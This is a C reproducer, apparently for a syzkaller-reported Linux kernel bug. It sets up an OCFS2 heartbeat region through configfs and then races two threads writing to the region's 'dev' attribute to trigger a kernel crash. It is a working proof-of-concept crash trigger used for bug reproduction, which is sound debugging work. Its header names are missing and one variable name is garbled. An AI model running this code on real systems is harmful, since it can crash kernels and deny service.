// https://syzkaller.appspot.com/bug?id=76e998fdcc9182089e9f89374d8f22606ac2c0ef #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #ifndef BLKSSZGET #define BLKSSZGET _IO(0x12,104) #endif int dev_attr_fd1; int dev_attr_fd2; char fd_str[16]; int fd_len; void *thread_func1(void *arg) { cpu_set_t cpuset; CPU_ZERO(&cpuset); CPU_SET(0, &cpuset); pthread_setaffinity_np(pthread_self(), sizeof(cpu_set_t), &cpuset); while (1) { pwrite(dev_attr_fd1, fd_str, fd_len, 0); } return NULL; } void *thread_func2(void *arg) { cpu_set_t cpuset; CPU_ZERO(&cpuset); CPU_SET(1, &cpuset); pthread_setaffinity_np(pthread_self(), sizeof(cpu_set_t), &cpuset); while (1) { pwrite(dev_attr_fd2, fd_str, fd_len, 0); } return NULL; } int write_file(const char *path, const char *val) { int fd = open(path, O_WRONLY); if (fd < 0) { printf("[-] Failed to open %s: %s\n", path, strerror(errno)); return -1; } int len = strlen(val); int res = write(fd, val, len); if (res < 0) { printf("[-] Failed to write to %s: %s\n", path, strerror(errno)); close(fd); return -1; } close(fd); printf("[+] Wrote '%s' to %s\n", val, path); return 0; } int main(void) { int res; // 1. Mount configfs res = mount("configfs", "/sys/kernel/config", "configfs", 0, NULL); if (res < 0 && errno != EBUSY) { printf("[-] Failed to mount configfs: %s\n", strerror(errno)); } else { printf("[+] configfs mounted or already mounted.\n"); } // 2. Create cluster if (mkdir("/sys/kernel/config/cluster/mycluster", 0777) < 0 && errno != EEXIST) { printf("[-] Failed to mkdir mycluster: %s\n", strerror(errno)); exit(1); } printf("[+] Created mycluster.\n"); if (mkdir("/sys/kernel/config/cluster/mycluster/node", 0777) < 0 && errno != EEXIST) { // ignore } if (mkdir("/sys/kernel/config/cluster/mycluster/node/mynode", 0777) < 0 && errno != EEXIST) { printf("[-] Failed to mkdir mynode: %s\n", strerror(errno)); exit(1); } printf("[+] Created mynode.\n"); // Fix initialization order: address and port must be set before num write_file("/sys/kernel/config/cluster/mycluster/node/mynode/ipv4_address", "127.0.0.1\n"); write_file("/sys/kernel/config/cluster/mycluster/node/mynode/ipv4_port", "7777\n"); write_file("/sys/kernel/config/cluster/mycluster/node/mynode/num", "1\n"); write_file("/sys/kernel/config/cluster/mycluster/node/mynode/local", "1\n"); if (mkdir("/sys/kernel/config/cluster/mycluster/heartbeat", 0777) < 0 && errno != EEXIST) { // ignore } if (mkdir("/sys/kernel/config/cluster/mycluster/heartbeat/myregion", 0777) < 0 && errno != EEXIST) { printf("[-] Failed to mkdir myregion: %s\n", strerror(errno)); exit(1); } printf("[+] Created myregion.\n"); write_file("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/blocks", "1\n"); write_file("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/start_block", "1\n"); int dev_fd = open("/dev/loop0", O_RDWR); if (dev_fd < 0) { printf("[-] Failed to open /dev/loop0: %s\n", strerror(errno)); dev_fd = open("/dev/ram0", O_RDWR); if (dev_fd < 0) { printf("[-] Failed to open /dev/ram0: %s\n", strerror(errno)); exit(1); } } printf("[+] Opened block device, fd=%d\n", dev_fd); snprintf(fd_str, sizeof(fd_str), "%d\n", dev_fd); fd_len = strlen(fd_str); int sectsize = 512; if (ioctl(dev_fd, BLKSSZGET, §size) < 0) { printf("[-] Failed to ioctl BLKSSZGET: %s\n", strerror(errno)); } int block_bytes = (sectsize == 512) ? 1024 : 512; char block_bytes_str[32]; snprintf(block_bytes_str, sizeof(block_bytes_str), "%d\n", block_bytes); write_file("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/block_bytes", block_bytes_str); dev_attr_fd1 = open("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/dev", O_WRONLY); dev_attr_fd2 = open("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/dev", O_WRONLY); if (dev_attr_fd1 < 0 || dev_attr_fd2 < 0) { printf("[-] Failed to open dev attr: %s\n", strerror(errno)); exit(1); } printf("[+] Opened dev attr twice.\n"); pthread_t t1, t2; pthread_create(&t1, NULL, thread_func1, NULL); pthread_create(&t2, NULL, thread_func2, NULL); printf("[+] Threads started. Waiting for crash...\n"); sleep(5); return 0; }